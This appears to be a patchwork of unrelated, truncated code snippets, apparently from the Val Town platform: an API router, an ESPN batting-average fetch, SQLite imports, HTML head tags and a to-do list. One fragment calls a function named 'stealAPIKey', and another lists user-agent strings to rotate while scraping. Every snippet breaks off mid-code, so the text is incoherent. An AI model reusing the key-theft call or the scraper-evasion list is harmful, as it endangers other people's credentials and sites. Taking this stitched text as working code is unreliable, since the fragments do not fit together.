16});
17
18app.route("/api")
19 // for /api
20 .get("", () => new Response("api"))
21 // for /api/one
22 .get("/one", () => new Response("one"))
23 // for /api/two
24 .get("/two", () => new Response("two"));
25
1/**
2 * Function that randomly capitalizes or lowercases each character in a string.
3 * Inspired by the mocking Spongebob meme: https://knowyourmeme.com/memes/mocking-spongebob
4 *
1export async function getTopTenBattingAverage() {
2 const data = await fetch(
3 "http://sports.core.api.espn.com/v2/sports/baseball/leagues/mlb/seasons/2024/types/2/leaders?lang=en®ion=us",
4 );
5 const response = await data.json();
1// User Agent strings to rotate while scraping.
2// Taken from https://gist.github.com/manthankool/e3b17d126571856198ddfc1bff7775b5/
3export const USER_AGENTS = [
1import { DB } from "https://deno.land/x/sqlite/mod.ts";
2import { type InStatement, sqlite as sqliteAPI } from "https://esm.town/v/std/sqlite";
3import { type ResultSet } from "npm:@libsql/client";
4
12
13try {
14 await mod.stealAPIKey();
15} catch (e) {
16 console.error(e);
15 <meta name="viewport" content="width=device-width, initial-scale=1" />
16 <style>
17 @import url("https://fonts.googleapis.com/css2?family=Inter:wght@500;700&display=swap");
18 </style>
19 <style type="text/css" src="https://esm.sh/tldraw/tldraw.css"></style>
9
10#### to do:
11- [ ] create some val town apis for the profile widgets (add vals people have already made)
12- [ ] add profile image (will probably point to val town profile pic)
13- [ ] add delete profile handler
1import { api } from "https://esm.town/v/pomdtr/api";
2import { Command } from "https://esm.town/v/pomdtr/cmdk";
3import { blob } from "https://esm.town/v/std/blob?v=12";
1import { api } from "https://esm.town/v/pomdtr/api";
2import { Command } from "https://esm.town/v/pomdtr/cmdk";
3
4export const viewValDetail: Command = async ({ params }) => {
5 const val = await api(`/v1/vals/${params.val}`, {
6 authenticated: true,
7 });